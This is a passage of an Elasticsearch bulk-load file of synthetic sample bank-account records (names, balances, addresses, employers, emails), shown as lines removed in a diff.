-{"account_number":467,"balance":6312,"firstname":"Angelica","lastname":"May","age":32,"gender":"F","address":"384 Karweg Place","employer":"Keeg","email":"angelicamay@keeg.com","city":"Tetherow","state":"IA"} -{"index":{"_id":"474"}} -{"account_number":474,"balance":35896,"firstname":"Obrien","lastname":"Walton","age":40,"gender":"F","address":"192 Ide Court","employer":"Suremax","email":"obrienwalton@suremax.com","city":"Crucible","state":"UT"} -{"index":{"_id":"479"}} -{"account_number":479,"balance":31865,"firstname":"Cameron","lastname":"Ross","age":40,"gender":"M","address":"904 Bouck Court","employer":"Telpod","email":"cameronross@telpod.com","city":"Nord","state":"MO"} -{"index":{"_id":"481"}} -{"account_number":481,"balance":20024,"firstname":"Lina","lastname":"Stanley","age":33,"gender":"M","address":"361 Hanover Place","employer":"Strozen","email":"linastanley@strozen.com","city":"Wyoming","state":"NC"} -{"index":{"_id":"486"}} -{"account_number":486,"balance":35902,"firstname":"Dixie","lastname":"Fuentes","age":22,"gender":"F","address":"991 Applegate Court","employer":"Portico","email":"dixiefuentes@portico.com","city":"Salix","state":"VA"} -{"index":{"_id":"493"}} -{"account_number":493,"balance":5871,"firstname":"Campbell","lastname":"Best","age":24,"gender":"M","address":"297 Friel Place","employer":"Fanfare","email":"campbellbest@fanfare.com","city":"Kidder","state":"GA"} -{"index":{"_id":"498"}} -{"account_number":498,"balance":10516,"firstname":"Stella","lastname":"Hinton","age":39,"gender":"F","address":"649 Columbia Place","employer":"Flyboyz","email":"stellahinton@flyboyz.com","city":"Crenshaw","state":"SC"} -{"index":{"_id":"501"}} -{"account_number":501,"balance":16572,"firstname":"Kelley","lastname":"Ochoa","age":36,"gender":"M","address":"451 Clifton Place","employer":"Bluplanet","email":"kelleyochoa@bluplanet.com","city":"Gouglersville","state":"CT"} -{"index":{"_id":"506"}} -{"account_number":506,"balance":43440,"firstname":"Davidson","lastname":"Salas","age":28,"gender":"M","address":"731 Cleveland Street","employer":"Sequitur","email":"davidsonsalas@sequitur.com","city":"Lloyd","state":"ME"} -{"index":{"_id":"513"}} -{"account_number":513,"balance":30040,"firstname":"Maryellen","lastname":"Rose","age":37,"gender":"F","address":"428 Durland Place","employer":"Waterbaby","email":"maryellenrose@waterbaby.com","city":"Kiskimere","state":"RI"} -{"index":{"_id":"518"}} -{"account_number":518,"balance":48954,"firstname":"Finch","lastname":"Curtis","age":29,"gender":"F","address":"137 Ryder Street","employer":"Viagrand","email":"finchcurtis@viagrand.com","city":"Riverton","state":"MO"} -{"index":{"_id":"520"}} -{"account_number":520,"balance":27987,"firstname":"Brandy","lastname":"Calhoun","age":32,"gender":"M","address":"818 Harden Street","employer":"Maxemia","email":"brandycalhoun@maxemia.com","city":"Sidman","state":"OR"} -{"index":{"_id":"525"}} -{"account_number":525,"balance":23545,"firstname":"Holly","lastname":"Miles","age":25,"gender":"M","address":"746 Ludlam Place","employer":"Xurban","email":"hollymiles@xurban.com","city":"Harold","state":"AR"} -{"index":{"_id":"532"}} -{"account_number":532,"balance":17207,"firstname":"Hardin","lastname":"Kirk","age":26,"gender":"M","address":"268 Canarsie Road","employer":"Exposa","email":"hardinkirk@exposa.com","city":"Stouchsburg","state":"IL"} -{"index":{"_id":"537"}} -{"account_number":537,"balance":31069,"firstname":"Morin","lastname":"Frost","age":29,"gender":"M","address":"910 Lake Street","employer":"Primordia","email":"morinfrost@primordia.com","city":"Rivera","state":"DE"} -{"index":{"_id":"544"}} -{"account_number":544,"balance":41735,"firstname":"Short","lastname":"Dennis","age":21,"gender":"F","address":"908 Glen Street","employer":"Minga","email":"shortdennis@minga.com","city":"Dale","state":"KY"} -{"index":{"_id":"549"}} -{"account_number":549,"balance":1932,"firstname":"Jacqueline","lastname":"Maxwell","age":40,"gender":"M","address":"444 Schenck Place","employer":"Fuelworks","email":"jacquelinemaxwell@fuelworks.com","city":"Oretta","state":"OR"} -{"index":{"_id":"551"}} -{"account_number":551,"balance":21732,"firstname":"Milagros","lastname":"Travis","age":27,"gender":"F","address":"380 Murdock Court","employer":"Sloganaut","email":"milagrostravis@sloganaut.com","city":"Homeland","state":"AR"} -{"index":{"_id":"556"}} -{"account_number":556,"balance":36420,"firstname":"Collier","lastname":"Odonnell","age":35,"gender":"M","address":"591 Nolans Lane","employer":"Sultraxin","email":"collierodonnell@sultraxin.com","city":"Fulford","state":"MD"} -{"index":{"_id":"563"}} -{"account_number":563,"balance":43403,"firstname":"Morgan","lastname":"Torres","age":30,"gender":"F","address":"672 Belvidere Street","employer":"Quonata","email":"morgantorres@quonata.com","city":"Hollymead","state":"KY"} -{"index":{"_id":"568"}} -{"account_number":568,"balance":36628,"firstname":"Lesa","lastname":"Maynard","age":29,"gender":"F","address":"295 Whitty Lane","employer":"Coash","email":"lesamaynard@coash.com","city":"Broadlands","state":"VT"} -{"index":{"_id":"570"}} -{"account_number":570,"balance":26751,"firstname":"Church","lastname":"Mercado","age":24,"gender":"F","address":"892 Wyckoff Street","employer":"Xymonk","email":"churchmercado@xymonk.com","city":"Gloucester","state":"KY"} -{"index":{"_id":"575"}} -{"account_number":575,"balance":12588,"firstname":"Buchanan","lastname":"Pope","age":39,"gender":"M","address":"581 Sumner Place","employer":"Stucco","email":"buchananpope@stucco.com","city":"Ellerslie","state":"MD"} -{"index":{"_id":"582"}} -{"account_number":582,"balance":33371,"firstname":"Manning","lastname":"Guthrie","age":24,"gender":"F","address":"271 Jodie Court","employer":"Xerex","email":"manningguthrie@xerex.com","city":"Breinigsville","state":"NM"} -{"index":{"_id":"587"}} -{"account_number":587,"balance":3468,"firstname":"Carly","lastname":"Johns","age":33,"gender":"M","address":"390 Noll Street","employer":"Gallaxia","email":"carlyjohns@gallaxia.com","city":"Emison","state":"DC"} -{"index":{"_id":"594"}} -{"account_number":594,"balance":28194,"firstname":"Golden","lastname":"Donovan","age":26,"gender":"M","address":"199 Jewel Street","employer":"Organica","email":"goldendonovan@organica.com","city":"Macdona","state":"RI"} -{"index":{"_id":"599"}} -{"account_number":599,"balance":11944,"firstname":"Joanna","lastname":"Jennings","age":36,"gender":"F","address":"318 Irving Street","employer":"Extremo","email":"joannajennings@extremo.com","city":"Bartley","state":"MI"} -{"index":{"_id":"602"}} -{"account_number":602,"balance":38699,"firstname":"Mcgowan","lastname":"Mcclain","age":33,"gender":"M","address":"361 Stoddard Place","employer":"Oatfarm","email":"mcgowanmcclain@oatfarm.com","city":"Kapowsin","state":"MI"} -{"index":{"_id":"607"}} -{"account_number":607,"balance":38350,"firstname":"White","lastname":"Small","age":38,"gender":"F","address":"736 Judge Street","employer":"Immunics","email":"whitesmall@immunics.com","city":"Fairfield","state":"HI"} -{"index":{"_id":"614"}} -{"account_number":614,"balance":13157,"firstname":"Salazar","lastname":"Howard","age":35,"gender":"F","address":"847 Imlay Street","employer":"Retrack","email":"salazarhoward@retrack.com","city":"Grill","state":"FL"} -{"index":{"_id":"619"}} -{"account_number":619,"balance":48755,"firstname":"Grimes","lastname":"Reynolds","age":36,"gender":"M","address":"378 Denton Place","employer":"Frenex","email":"grimesreynolds@frenex.com","city":"Murillo","state":"LA"} -{"index":{"_id":"621"}} -{"account_number":621,"balance":35480,"firstname":"Leslie","lastname":"Sloan","age":26,"gender":"F","address":"336 Kansas Place","employer":"Dancity","email":"lesliesloan@dancity.com","city":"Corriganville","state":"AR"} -{"index":{"_id":"626"}} -{"account_number":626,"balance":19498,"firstname":"Ava","lastname":"Richardson","age":31,"gender":"F","address":"666 Nautilus Avenue","employer":"Cinaster","email":"avarichardson@cinaster.com","city":"Sutton","state":"AL"} -{"index":{"_id":"633"}} -{"account_number":633,"balance":35874,"firstname":"Conner","lastname":"Ramos","age":34,"gender":"M","address":"575 Agate Court","employer":"Insource","email":"connerramos@insource.com","city":"Madaket","state":"OK"} -{"index":{"_id":"638"}} -{"account_number":638,"balance":2658,"firstname":"Bridget","lastname":"Gallegos","age":31,"gender":"M","address":"383 Wogan Terrace","employer":"Songlines","email":"bridgetgallegos@songlines.com","city":"Linganore","state":"WA"} -{"index":{"_id":"640"}} -{"account_number":640,"balance":35596,"firstname":"Candace","lastname":"Hancock","age":25,"gender":"M","address":"574 Riverdale Avenue","employer":"Animalia","email":"candacehancock@animalia.com","city":"Blandburg","state":"KY"} -{"index":{"_id":"645"}} -{"account_number":645,"balance":29362,"firstname":"Edwina","lastname":"Hutchinson","age":26,"gender":"F","address":"892 Pacific Street","employer":"Essensia","email":"edwinahutchinson@essensia.com","city":"Dowling","state":"NE"} -{"index":{"_id":"652"}} -{"account_number":652,"balance":17363,"firstname":"Bonner","lastname":"Garner","age":26,"gender":"M","address":"219 Grafton Street","employer":"Utarian","email":"bonnergarner@utarian.com","city":"Vandiver","state":"PA"} -{"index":{"_id":"657"}} -{"account_number":657,"balance":40475,"firstname":"Kathleen","lastname":"Wilder","age":34,"gender":"F","address":"286 Sutter Avenue","employer":"Solgan","email":"kathleenwilder@solgan.com","city":"Graniteville","state":"MI"} -{"index":{"_id":"664"}} -{"account_number":664,"balance":16163,"firstname":"Hart","lastname":"Mccormick","age":40,"gender":"M","address":"144 Guider Avenue","employer":"Dyno","email":"hartmccormick@dyno.com","city":"Carbonville","state":"ID"} -{"index":{"_id":"669"}} -{"account_number":669,"balance":16934,"firstname":"Jewel","lastname":"Estrada","age":28,"gender":"M","address":"896 Meeker Avenue","employer":"Zilla","email":"jewelestrada@zilla.com","city":"Goodville","state":"PA"} -{"index":{"_id":"671"}} -{"account_number":671,"balance":29029,"firstname":"Antoinette","lastname":"Cook","age":34,"gender":"M","address":"375 Cumberland Street","employer":"Harmoney","email":"antoinettecook@harmoney.com","city":"Bergoo","state":"VT"} -{"index":{"_id":"676"}} -{"account_number":676,"balance":23842,"firstname":"Lisa","lastname":"Dudley","age":34,"gender":"M","address":"506 Vanderveer Street","employer":"Tropoli","email":"lisadudley@tropoli.com","city":"Konterra","state":"NY"} -{"index":{"_id":"683"}} -{"account_number":683,"balance":4381,"firstname":"Matilda","lastname":"Berger","age":39,"gender":"M","address":"884 Noble Street","employer":"Fibrodyne","email":"matildaberger@fibrodyne.com","city":"Shepardsville","state":"TN"} -{"index":{"_id":"688"}} -{"account_number":688,"balance":17931,"firstname":"Freeman","lastname":"Zamora","age":22,"gender":"F","address":"114 Herzl Street","employer":"Elemantra","email":"freemanzamora@elemantra.com","city":"Libertytown","state":"NM"} -{"index":{"_id":"690"}} -{"account_number":690,"balance":18127,"firstname":"Russo","lastname":"Swanson","age":35,"gender":"F","address":"256 Roebling Street","employer":"Zaj","email":"russoswanson@zaj.com","city":"Hoagland","state":"MI"} -{"index":{"_id":"695"}} -{"account_number":695,"balance":36800,"firstname":"Gonzales","lastname":"Mcfarland","age":26,"gender":"F","address":"647 Louisa Street","employer":"Songbird","email":"gonzalesmcfarland@songbird.com","city":"Crisman","state":"ID"} -{"index":{"_id":"703"}} -{"account_number":703,"balance":27443,"firstname":"Dona","lastname":"Burton","age":29,"gender":"M","address":"489 Flatlands Avenue","employer":"Cytrex","email":"donaburton@cytrex.com","city":"Reno","state":"VA"} -{"index":{"_id":"708"}} -{"account_number":708,"balance":34002,"firstname":"May","lastname":"Ortiz","age":28,"gender":"F","address":"244 Chauncey Street","employer":"Syntac","email":"mayortiz@syntac.com","city":"Munjor","state":"ID"} -{"index":{"_id":"710"}} -{"account_number":710,"balance":33650,"firstname":"Shelton","lastname":"Stark","age":37,"gender":"M","address":"404 Ovington Avenue","employer":"Kraggle","email":"sheltonstark@kraggle.com","city":"Ogema","state":"TN"} -{"index":{"_id":"715"}} -{"account_number":715,"balance":23734,"firstname":"Tammi","lastname":"Hodge","age":24,"gender":"M","address":"865 Church Lane","employer":"Netur","email":"tammihodge@netur.com","city":"Lacomb","state":"KS"} -{"index":{"_id":"722"}} -{"account_number":722,"balance":27256,"firstname":"Roberts","lastname":"Beasley","age":34,"gender":"F","address":"305 Kings Hwy","employer":"Quintity","email":"robertsbeasley@quintity.com","city":"Hayden","state":"PA"} -{"index":{"_id":"727"}} -{"account_number":727,"balance":27263,"firstname":"Natasha","lastname":"Knapp","age":36,"gender":"M","address":"723 Hubbard Street","employer":"Exostream","email":"natashaknapp@exostream.com","city":"Trexlertown","state":"LA"} -{"index":{"_id":"734"}} -{"account_number":734,"balance":20325,"firstname":"Keri","lastname":"Kinney","age":23,"gender":"M","address":"490 Balfour Place","employer":"Retrotex","email":"kerikinney@retrotex.com","city":"Salunga","state":"PA"} -{"index":{"_id":"739"}} -{"account_number":739,"balance":39063,"firstname":"Gwen","lastname":"Hardy","age":33,"gender":"F","address":"733 Stuart Street","employer":"Exozent","email":"gwenhardy@exozent.com","city":"Drytown","state":"NY"} -{"index":{"_id":"741"}} -{"account_number":741,"balance":33074,"firstname":"Nielsen","lastname":"Good","age":22,"gender":"M","address":"404 Norfolk Street","employer":"Kiggle","email":"nielsengood@kiggle.com","city":"Cumberland","state":"WA"} -{"index":{"_id":"746"}} -{"account_number":746,"balance":15970,"firstname":"Marguerite","lastname":"Wall","age":28,"gender":"F","address":"364 Crosby Avenue","employer":"Aquoavo","email":"margueritewall@aquoavo.com","city":"Jeff","state":"MI"} -{"index":{"_id":"753"}} -{"account_number":753,"balance":33340,"firstname":"Katina","lastname":"Alford","age":21,"gender":"F","address":"690 Ross Street","employer":"Intrawear","email":"katinaalford@intrawear.com","city":"Grimsley","state":"OK"} -{"index":{"_id":"758"}} -{"account_number":758,"balance":15739,"firstname":"Berta","lastname":"Short","age":28,"gender":"M","address":"149 Surf Avenue","employer":"Ozean","email":"bertashort@ozean.com","city":"Odessa","state":"UT"} -{"index":{"_id":"760"}} -{"account_number":760,"balance":40996,"firstname":"Rhea","lastname":"Blair","age":37,"gender":"F","address":"440 Hubbard Place","employer":"Bicol","email":"rheablair@bicol.com","city":"Stockwell","state":"LA"} -{"index":{"_id":"765"}} -{"account_number":765,"balance":31278,"firstname":"Knowles","lastname":"Cunningham","age":23,"gender":"M","address":"753 Macdougal Street","employer":"Thredz","email":"knowlescunningham@thredz.com","city":"Thomasville","state":"WA"} -{"index":{"_id":"772"}} -{"account_number":772,"balance":37849,"firstname":"Eloise","lastname":"Sparks","age":21,"gender":"M","address":"608 Willow Street","employer":"Satiance","email":"eloisesparks@satiance.com","city":"Richford","state":"NY"} -{"index":{"_id":"777"}} -{"account_number":777,"balance":48294,"firstname":"Adkins","lastname":"Mejia","age":32,"gender":"M","address":"186 Oxford Walk","employer":"Datagen","email":"adkinsmejia@datagen.com","city":"Faywood","state":"OK"} -{"index":{"_id":"784"}} -{"account_number":784,"balance":25291,"firstname":"Mabel","lastname":"Thornton","age":21,"gender":"M","address":"124 Louisiana Avenue","employer":"Zolavo","email":"mabelthornton@zolavo.com","city":"Lynn","state":"AL"} -{"index":{"_id":"789"}} -{"account_number":789,"balance":8760,"firstname":"Cunningham","lastname":"Kerr","age":27,"gender":"F","address":"154 Sharon Street","employer":"Polarium","email":"cunninghamkerr@polarium.com","city":"Tuskahoma","state":"MS"} -{"index":{"_id":"791"}} -{"account_number":791,"balance":48249,"firstname":"Janine","lastname":"Huber","age":38,"gender":"F","address":"348 Porter Avenue","employer":"Viocular","email":"janinehuber@viocular.com","city":"Fivepointville","state":"MA"} -{"index":{"_id":"796"}} -{"account_number":796,"balance":23503,"firstname":"Mona","lastname":"Craft","age":35,"gender":"F","address":"511 Henry Street","employer":"Opticom","email":"monacraft@opticom.com","city":"Websterville","state":"IN"} -{"index":{"_id":"804"}} -{"account_number":804,"balance":23610,"firstname":"Rojas","lastname":"Oneal","age":27,"gender":"M","address":"669 Sandford Street","employer":"Glukgluk","email":"rojasoneal@glukgluk.com","city":"Wheaton","state":"ME"} -{"index":{"_id":"809"}} -{"account_number":809,"balance":47812,"firstname":"Christie","lastname":"Strickland","age":30,"gender":"M","address":"346 Bancroft Place","employer":"Anarco","email":"christiestrickland@anarco.com","city":"Baden","state":"NV"} -{"index":{"_id":"811"}} -{"account_number":811,"balance":26007,"firstname":"Walls","lastname":"Rogers","age":28,"gender":"F","address":"352 Freeman Street","employer":"Geekmosis","email":"wallsrogers@geekmosis.com","city":"Caroleen","state":"NV"} -{"index":{"_id":"816"}} -{"account_number":816,"balance":9567,"firstname":"Cornelia","lastname":"Lane","age":20,"gender":"F","address":"384 Bainbridge Street","employer":"Sulfax","email":"cornelialane@sulfax.com","city":"Elizaville","state":"MS"} -{"index":{"_id":"823"}} -{"account_number":823,"balance":48726,"firstname":"Celia","lastname":"Bernard","age":33,"gender":"F","address":"466 Amboy Street","employer":"Mitroc","email":"celiabernard@mitroc.com","city":"Skyland","state":"GA"} -{"index":{"_id":"828"}} -{"account_number":828,"balance":44890,"firstname":"Blanche","lastname":"Holmes","age":33,"gender":"F","address":"605 Stryker Court","employer":"Motovate","email":"blancheholmes@motovate.com","city":"Loomis","state":"KS"} -{"index":{"_id":"830"}} -{"account_number":830,"balance":45210,"firstname":"Louella","lastname":"Chan","age":23,"gender":"M","address":"511 Heath Place","employer":"Conferia","email":"louellachan@conferia.com","city":"Brookfield","state":"OK"} -{"index":{"_id":"835"}} -{"account_number":835,"balance":46558,"firstname":"Glover","lastname":"Rutledge","age":25,"gender":"F","address":"641 Royce Street","employer":"Ginkogene","email":"gloverrutledge@ginkogene.com","city":"Dixonville","state":"VA"} -{"index":{"_id":"842"}} -{"account_number":842,"balance":49587,"firstname":"Meagan","lastname":"Buckner","age":23,"gender":"F","address":"833 Bushwick Court","employer":"Biospan","email":"meaganbuckner@biospan.com","city":"Craig","state":"TX"} -{"index":{"_id":"847"}} -{"account_number":847,"balance":8652,"firstname":"Antonia","lastname":"Duncan","age":23,"gender":"M","address":"644 Stryker Street","employer":"Talae","email":"antoniaduncan@talae.com","city":"Dawn","state":"MO"} -{"index":{"_id":"854"}} -{"account_number":854,"balance":49795,"firstname":"Jimenez","lastname":"Barry","age":25,"gender":"F","address":"603 Cooper Street","employer":"Verton","email":"jimenezbarry@verton.com","city":"Moscow","state":"AL"} -{"index":{"_id":"859"}} -{"account_number":859,"balance":20734,"firstname":"Beulah","lastname":"Stuart","age":24,"gender":"F","address":"651 Albemarle Terrace","employer":"Hatology","email":"beulahstuart@hatology.com","city":"Waiohinu","state":"RI"} -{"index":{"_id":"861"}} -{"account_number":861,"balance":44173,"firstname":"Jaime","lastname":"Wilson","age":35,"gender":"M","address":"680 Richardson Street","employer":"Temorak","email":"jaimewilson@temorak.com","city":"Fidelis","state":"FL"} -{"index":{"_id":"866"}} -{"account_number":866,"balance":45565,"firstname":"Araceli","lastname":"Woodward","age":28,"gender":"M","address":"326 Meadow Street","employer":"Olympix","email":"araceliwoodward@olympix.com","city":"Dana","state":"KS"} -{"index":{"_id":"873"}} -{"account_number":873,"balance":43931,"firstname":"Tisha","lastname":"Cotton","age":39,"gender":"F","address":"432 Lincoln Road","employer":"Buzzmaker","email":"tishacotton@buzzmaker.com","city":"Bluetown","state":"GA"} -{"index":{"_id":"878"}} -{"account_number":878,"balance":49159,"firstname":"Battle","lastname":"Blackburn","age":40,"gender":"F","address":"234 Hendrix Street","employer":"Zilphur","email":"battleblackburn@zilphur.com","city":"Wanamie","state":"PA"} -{"index":{"_id":"880"}} -{"account_number":880,"balance":22575,"firstname":"Christian","lastname":"Myers","age":35,"gender":"M","address":"737 Crown Street","employer":"Combogen","email":"christianmyers@combogen.com","city":"Abrams","state":"OK"} -{"index":{"_id":"885"}} -{"account_number":885,"balance":31661,"firstname":"Valdez","lastname":"Roberson","age":40,"gender":"F","address":"227 Scholes Street","employer":"Delphide","email":"valdezroberson@delphide.com","city":"Chilton","state":"MT"} -{"index":{"_id":"892"}} -{"account_number":892,"balance":44974,"firstname":"Hill","lastname":"Hayes","age":29,"gender":"M","address":"721 Dooley Street","employer":"Fuelton","email":"hillhayes@fuelton.com","city":"Orason","state":"MT"} -{"index":{"_id":"897"}} -{"account_number":897,"balance":45973,"firstname":"Alyson","lastname":"Irwin","age":25,"gender":"M","address":"731 Poplar Street","employer":"Quizka","email":"alysonirwin@quizka.com","city":"Singer","state":"VA"} -{"index":{"_id":"900"}} -{"account_number":900,"balance":6124,"firstname":"Gonzalez","lastname":"Watson","age":23,"gender":"M","address":"624 Sullivan Street","employer":"Marvane","email":"gonzalezwatson@marvane.com","city":"Wikieup","state":"IL"} -{"index":{"_id":"905"}} -{"account_number":905,"balance":29438,"firstname":"Schultz","lastname":"Moreno","age":20,"gender":"F","address":"761 Cedar Street","employer":"Paragonia","email":"schultzmoreno@paragonia.com","city":"Glenshaw","state":"SC"} -{"index":{"_id":"912"}} -{"account_number":912,"balance":13675,"firstname":"Flora","lastname":"Alvarado","age":26,"gender":"M","address":"771 Vandervoort Avenue","employer":"Boilicon","email":"floraalvarado@boilicon.com","city":"Vivian","state":"ID"} -{"index":{"_id":"917"}} -{"account_number":917,"balance":47782,"firstname":"Parks","lastname":"Hurst","age":24,"gender":"M","address":"933 Cozine Avenue","employer":"Pyramis","email":"parkshurst@pyramis.com","city":"Lindcove","state":"GA"} -{"index":{"_id":"924"}} -{"account_number":924,"balance":3811,"firstname":"Hilary","lastname":"Leonard","age":24,"gender":"M","address":"235 Hegeman Avenue","employer":"Metroz","email":"hilaryleonard@metroz.com","city":"Roosevelt","state":"ME"} -{"index":{"_id":"929"}} -{"account_number":929,"balance":34708,"firstname":"Willie","lastname":"Hickman","age":35,"gender":"M","address":"430 Devoe Street","employer":"Apextri","email":"williehickman@apextri.com","city":"Clay","state":"MS"} -{"index":{"_id":"931"}} -{"account_number":931,"balance":8244,"firstname":"Ingrid","lastname":"Garcia","age":23,"gender":"F","address":"674 Indiana Place","employer":"Balooba","email":"ingridgarcia@balooba.com","city":"Interlochen","state":"AZ"} -{"index":{"_id":"936"}} -{"account_number":936,"balance":22430,"firstname":"Beth","lastname":"Frye","age":36,"gender":"M","address":"462 Thatford Avenue","employer":"Puria","email":"bethfrye@puria.com","city":"Hiseville","state":"LA"} -{"index":{"_id":"943"}} -{"account_number":943,"balance":24187,"firstname":"Wagner","lastname":"Griffin","age":23,"gender":"M","address":"489 Ellery Street","employer":"Gazak","email":"wagnergriffin@gazak.com","city":"Lorraine","state":"HI"} -{"index":{"_id":"948"}} -{"account_number":948,"balance":37074,"firstname":"Sargent","lastname":"Powers","age":40,"gender":"M","address":"532 Fiske Place","employer":"Accuprint","email":"sargentpowers@accuprint.com","city":"Umapine","state":"AK"} -{"index":{"_id":"950"}} -{"account_number":950,"balance":30916,"firstname":"Sherrie","lastname":"Patel","age":32,"gender":"F","address":"658 Langham Street","employer":"Futurize","email":"sherriepatel@futurize.com","city":"Garfield","state":"OR"} -{"index":{"_id":"955"}} -{"account_number":955,"balance":41621,"firstname":"Klein","lastname":"Kemp","age":33,"gender":"M","address":"370 Vanderbilt Avenue","employer":"Synkgen","email":"kleinkemp@synkgen.com","city":"Bonanza","state":"FL"} -{"index":{"_id":"962"}} -{"account_number":962,"balance":32096,"firstname":"Trujillo","lastname":"Wilcox","age":21,"gender":"F","address":"914 Duffield Street","employer":"Extragene","email":"trujillowilcox@extragene.com","city":"Golconda","state":"MA"} -{"index":{"_id":"967"}} -{"account_number":967,"balance":19161,"firstname":"Carrie","lastname":"Huffman","age":36,"gender":"F","address":"240 Sands Street","employer":"Injoy","email":"carriehuffman@injoy.com","city":"Leroy","state":"CA"} -{"index":{"_id":"974"}} -{"account_number":974,"balance":38082,"firstname":"Deborah","lastname":"Yang","age":26,"gender":"F","address":"463 Goodwin Place","employer":"Entogrok","email":"deborahyang@entogrok.com","city":"Herald","state":"KY"} -{"index":{"_id":"979"}} -{"account_number":979,"balance":43130,"firstname":"Vaughn","lastname":"Pittman","age":29,"gender":"M","address":"446 Tompkins Place","employer":"Phormula","email":"vaughnpittman@phormula.com","city":"Fingerville","state":"WI"} -{"index":{"_id":"981"}} -{"account_number":981,"balance":20278,"firstname":"Nolan","lastname":"Warner","age":29,"gender":"F","address":"753 Channel Avenue","employer":"Interodeo","email":"nolanwarner@interodeo.com","city":"Layhill","state":"MT"} -{"index":{"_id":"986"}} -{"account_number":986,"balance":35086,"firstname":"Norris","lastname":"Hubbard","age":31,"gender":"M","address":"600 Celeste Court","employer":"Printspan","email":"norrishubbard@printspan.com","city":"Cassel","state":"MI"} -{"index":{"_id":"993"}} -{"account_number":993,"balance":26487,"firstname":"Campos","lastname":"Olsen","age":37,"gender":"M","address":"873 Covert Street","employer":"Isbol","email":"camposolsen@isbol.com","city":"Glendale","state":"AK"} -{"index":{"_id":"998"}} -{"account_number":998,"balance":16869,"firstname":"Letha","lastname":"Baker","age":40,"gender":"F","address":"206 Llama Court","employer":"Dognosis","email":"lethabaker@dognosis.com","city":"Dunlo","state":"WV"} -{"index":{"_id":"2"}} -{"account_number":2,"balance":28838,"firstname":"Roberta","lastname":"Bender","age":22,"gender":"F","address":"560 Kingsway Place","employer":"Chillium","email":"robertabender@chillium.com","city":"Bennett","state":"LA"} -{"index":{"_id":"7"}} -{"account_number":7,"balance":39121,"firstname":"Levy","lastname":"Richard","age":22,"gender":"M","address":"820 Logan Street","employer":"Teraprene","email":"levyrichard@teraprene.com","city":"Shrewsbury","state":"MO"} -{"index":{"_id":"14"}} -{"account_number":14,"balance":20480,"firstname":"Erma","lastname":"Kane","age":39,"gender":"F","address":"661 Vista Place","employer":"Stockpost","email":"ermakane@stockpost.com","city":"Chamizal","state":"NY"} -{"index":{"_id":"19"}} -{"account_number":19,"balance":27894,"firstname":"Schwartz","lastname":"Buchanan","age":28,"gender":"F","address":"449 Mersereau Court","employer":"Sybixtex","email":"schwartzbuchanan@sybixtex.com","city":"Greenwich","state":"KS"} -{"index":{"_id":"21"}} -{"account_number":21,"balance":7004,"firstname":"Estella","lastname":"Paul","age":38,"gender":"M","address":"859 Portal Street","employer":"Zillatide","email":"estellapaul@zillatide.com","city":"Churchill","state":"WV"} -{"index":{"_id":"26"}} -{"account_number":26,"balance":14127,"firstname":"Lorraine","lastname":"Mccullough","age":39,"gender":"F","address":"157 Dupont Street","employer":"Zosis","email":"lorrainemccullough@zosis.com","city":"Dennard","state":"NH"} -{"index":{"_id":"33"}} -{"account_number":33,"balance":35439,"firstname":"Savannah","lastname":"Kirby","age":30,"gender":"F","address":"372 Malta Street","employer":"Musanpoly","email":"savannahkirby@musanpoly.com","city":"Muse","state":"AK"} -{"index":{"_id":"38"}} -{"account_number":38,"balance":10511,"firstname":"Erna","lastname":"Fields","age":32,"gender":"M","address":"357 Maple Street","employer":"Eweville","email":"ernafields@eweville.com","city":"Twilight","state":"MS"} -{"index":{"_id":"40"}} -{"account_number":40,"balance":33882,"firstname":"Pace","lastname":"Molina","age":40,"gender":"M","address":"263 Ovington Court","employer":"Cytrak","email":"pacemolina@cytrak.com","city":"Silkworth","state":"OR"} -{"index":{"_id":"45"}} -{"account_number":45,"balance":44478,"firstname":"Geneva","lastname":"Morin","age":21,"gender":"F","address":"357 Herkimer Street","employer":"Ezent","email":"genevamorin@ezent.com","city":"Blanco","state":"AZ"} -{"index":{"_id":"52"}} -{"account_number":52,"balance":46425,"firstname":"Kayla","lastname":"Bradshaw","age":31,"gender":"M","address":"449 Barlow Drive","employer":"Magnemo","email":"kaylabradshaw@magnemo.com","city":"Wawona","state":"AZ"} -{"index":{"_id":"57"}} -{"account_number":57,"balance":8705,"firstname":"Powell","lastname":"Herring","age":21,"gender":"M","address":"263 Merit Court","employer":"Digiprint","email":"powellherring@digiprint.com","city":"Coral","state":"MT"} -{"index":{"_id":"64"}} -{"account_number":64,"balance":44036,"firstname":"Miles","lastname":"Battle","age":35,"gender":"F","address":"988 Homecrest Avenue","employer":"Koffee","email":"milesbattle@koffee.com","city":"Motley","state":"ID"} -{"index":{"_id":"69"}} -{"account_number":69,"balance":14253,"firstname":"Desiree","lastname":"Harrison","age":24,"gender":"M","address":"694 Garland Court","employer":"Barkarama","email":"desireeharrison@barkarama.com","city":"Hackneyville","state":"GA"} -{"index":{"_id":"71"}} -{"account_number":71,"balance":38201,"firstname":"Sharpe","lastname":"Hoffman","age":39,"gender":"F","address":"450 Conklin Avenue","employer":"Centree","email":"sharpehoffman@centree.com","city":"Urbana","state":"WY"} -{"index":{"_id":"76"}} -{"account_number":76,"balance":38345,"firstname":"Claudette","lastname":"Beard","age":24,"gender":"F","address":"748 Dorset Street","employer":"Repetwire","email":"claudettebeard@repetwire.com","city":"Caln","state":"TX"} -{"index":{"_id":"83"}} -{"account_number":83,"balance":35928,"firstname":"Mayo","lastname":"Cleveland","age":28,"gender":"M","address":"720 Brooklyn Road","employer":"Indexia","email":"mayocleveland@indexia.com","city":"Roberts","state":"ND"} -{"index":{"_id":"88"}} -{"account_number":88,"balance":26418,"firstname":"Adela","lastname":"Tyler","age":21,"gender":"F","address":"737 Clove Road","employer":"Surelogic","email":"adelatyler@surelogic.com","city":"Boling","state":"SD"} -{"index":{"_id":"90"}} -{"account_number":90,"balance":25332,"firstname":"Herman","lastname":"Snyder","age":22,"gender":"F","address":"737 College Place","employer":"Lunchpod","email":"hermansnyder@lunchpod.com","city":"Flintville","state":"IA"} -{"index":{"_id":"95"}} -{"account_number":95,"balance":1650,"firstname":"Dominguez","lastname":"Le","age":20,"gender":"M","address":"539 Grace Court","employer":"Portica","email":"dominguezle@portica.com","city":"Wollochet","state":"KS"} -{"index":{"_id":"103"}} -{"account_number":103,"balance":11253,"firstname":"Calhoun","lastname":"Bruce","age":33,"gender":"F","address":"731 Clarkson Avenue","employer":"Automon","email":"calhounbruce@automon.com","city":"Marienthal","state":"IL"} -{"index":{"_id":"108"}} -{"account_number":108,"balance":19015,"firstname":"Christensen","lastname":"Weaver","age":21,"gender":"M","address":"398 Dearborn Court","employer":"Quilk","email":"christensenweaver@quilk.com","city":"Belvoir","state":"TX"} -{"index":{"_id":"110"}} 